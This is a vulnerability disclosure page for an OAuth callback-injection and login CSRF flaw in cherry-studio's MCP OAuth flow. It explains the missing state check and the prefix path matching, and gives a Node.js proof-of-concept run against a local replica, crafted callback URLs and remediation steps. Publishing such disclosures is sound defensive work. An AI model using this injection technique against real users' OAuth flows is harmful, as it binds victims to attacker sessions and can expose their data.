Submeter #840175: CherryHQ cherry-studio 1.9.6 Authorization Bypass / Login CSRFinformação

TítuloCherryHQ cherry-studio 1.9.6 Authorization Bypass / Login CSRF
Descrição## Vulnerability Title Authorization Bypass via Hash-Key Confusion in MCP OAuth Callback Binding ## Affected Component `src/main/services/mcp/oauth/callback.ts` and `src/main/services/MCPService.ts` Repository: https://github.com/CherryHQ/cherry-studio ## Summary An attacker with the ability to trigger a loopback request in the victim's browser during a pending MCP OAuth flow can craft a conflicting OAuth callback that reuses the same callback key but carries a different authorization `code` and `state`. This causes callback-key confusion, which leads to OAuth callback injection and login CSRF, negatively impacting users connecting OAuth-protected MCP servers. ## Technical Details The vulnerability occurs because the MCP OAuth callback flow treats the local callback path and port as sufficient callback identity. The security-relevant OAuth transaction fields, especially `state`, are not included in the accepted callback identity and are not validated before the authorization code is exchanged. This is application-level key confusion: two callbacks with the same local callback key but different OAuth transaction state are treated as equivalent. **Where the Identity Key is Computed** In `src/main/services/mcp/oauth/callback.ts`, the application-level key is the local callback route accepted by the callback server: callback port plus callback path, using a weak prefix match via `startsWith`: ```ts initialize(port: number, path: string): Promise<http.Server> { const server = http.createServer((req, res) => { // Only handle requests to the callback path if (req.url?.startsWith(path)) { try { const url = new URL(req.url, `http://127.0.0.1:${port}`) const code = url.searchParams.get('code') if (code) { this.events.emit('auth-code-received', code) ``` **How the Key is Used** In `src/main/services/MCPService.ts`, the first callback that emits `auth-code-received` captures execution flow and controls the token exchange via `finishAuth(authCode)`: ```ts const authCode = await callbackServer.waitForAuthCode() getServerLogger(server).debug(`Received auth code`) // Complete the OAuth flow await transport.finishAuth(authCode) ``` Because `McpOAuthClientProvider` does not implement a `state()` method, the underlying MCP SDK (`@modelcontextprotocol/sdk`) does not add a `state` parameter to the authorization URL, preventing any fallback binding checks. Furthermore, the prefix check `req.url?.startsWith(path)` creates additional route confusion, meaning an entirely separate endpoint like `/oauth/callback.extra?code=MaliciousCode` can satisfy the matching criteria and inject credentials. ## Impact This vulnerability allows attackers to: - Inject a malicious OAuth authorization code into a victim's pending MCP OAuth flow. - Execute Login CSRF, forcing the victim's local client to bind to an attacker-controlled MCP session or third-party service provider account. - Potentially expose sensitive user prompts, local system files, tool execution contexts, or operational secrets if the resulting session is bound to an untrusted environment. ## Proof of Concept The following script demonstrates the broken security invariant by modeling the prefix-matching acceptance rules and first-code-wins behavior of the callback infrastructure. ```js #!/usr/bin/env node const http = require('http') const { EventEmitter } = require('events') class TestCallbackServer { constructor({ port, path, events }) { this.events = events this.serverPromise = this.initialize(port, path) } initialize(port, path) { const server = http.createServer((req, res) => { if (req.url?.startsWith(path)) { const url = new URL(req.url, `http://127.0.0.1:${port}`) const code = url.searchParams.get('code') if (code) { this.events.emit('auth-code-received', code) res.writeHead(200, { 'Content-Type': 'text/plain' }) res.end('accepted') return } } res.writeHead(400, { 'Content-Type': 'text/plain' }) res.end('rejected') }) return new Promise((resolve, reject) => { server.listen(port, '127.0.0.1', () => resolve(server)) server.on('error', reject) }) } async address() { return (await this.serverPromise).address() } async close() { (await this.serverPromise).close() } async waitForAuthCode() { return new Promise((resolve) => this.events.once('auth-code-received', resolve)) } } ;(async () => { const events = new EventEmitter() const callbackServer = new TestCallbackServer({ port: 0, path: '/oauth/callback', events }) const { port } = await callbackServer.address() const base = `http://127.0.0.1:${port}` const fakeTransport = { exchangedCode: undefined, async finishAuth(code) { this.exchangedCode = code } } const handleAuthPromise = (async () => { const authCode = await callbackServer.waitForAuthCode() await fakeTransport.finishAuth(authCode) return authCode })() // Attacker intercepts and hits the endpoint first with a distinct state/code await fetch(`${base}/oauth/callback?code=MalloryCode&state=attacker_state`) const chosenCode = await handleAuthPromise await fetch(`${base}/oauth/callback?code=AliceCode&state=victim_state`) console.log(JSON.stringify({ chosen_by_handleAuth: chosenCode, finishAuth_received: fakeTransport.exchangedCode, vulnerable: chosenCode === 'MalloryCode' }, null, 2)) await callbackServer.close() })() ``` *Observed execution output: `"vulnerable": true`, demonstrating that the unauthenticated attacker payload controls the authentication transaction.* ## Remediation Bind the OAuth callback to the specific transaction lifecycle state and enforce strict path validation. 1. **Implement State Validation**: Generate a cryptographically secure random `state` value for each flow, pass it to the authorization endpoint, and strictly require the callback to return the identical string before accepting the code. 2. **Enforce Exact Path Matching**: Replace loose prefix checking with exact route parsing: ```ts if (url.pathname !== path) { res.writeHead(404, { 'Content-Type': 'text/plain' }) res.end('Not Found') return; } ``` 3. **Session Binding**: Ensure that the listener session state maps explicitly to individual pending process parameters, rejecting unmapped or reused loopback incoming packets. ## References - Vulnerable callback middleware logic: `https://github.com/CherryHQ/cherry-studio/blob/3ccf6d34cae5409a02a573533373441ec95f612c/src/main/services/mcp/oauth/callback.ts#L52-L63` - Response capture handling: `https://github.com/CherryHQ/cherry-studio/blob/3ccf6d34cae5409a02a573533373441ec95f612c/src/main/services/MCPService.ts#L558-L582` - Provider redirection properties: `https://github.com/CherryHQ/cherry-studio/blob/3ccf6d34cae5409a02a573533373441ec95f612c/src/main/services/mcp/oauth/provider.ts#L19-L38`
Fonte⚠️ https://github.com/CherryHQ/cherry-studio/issues/15372
Utilizador
 dem0000 (UID 98390)
Submissão28/05/2026 05h48 (há 1 mês)
Moderação28/06/2026 09h50 (1 month later)
EstadoAceite
Entrada VulDB374532 [CherryHQ cherry-studio até 1.9.6 MCP OAuth Local Callback Server callback.ts code Elevação de Privilégios]
Pontos20

Interested in the pricing of exploits?

See the underground prices here!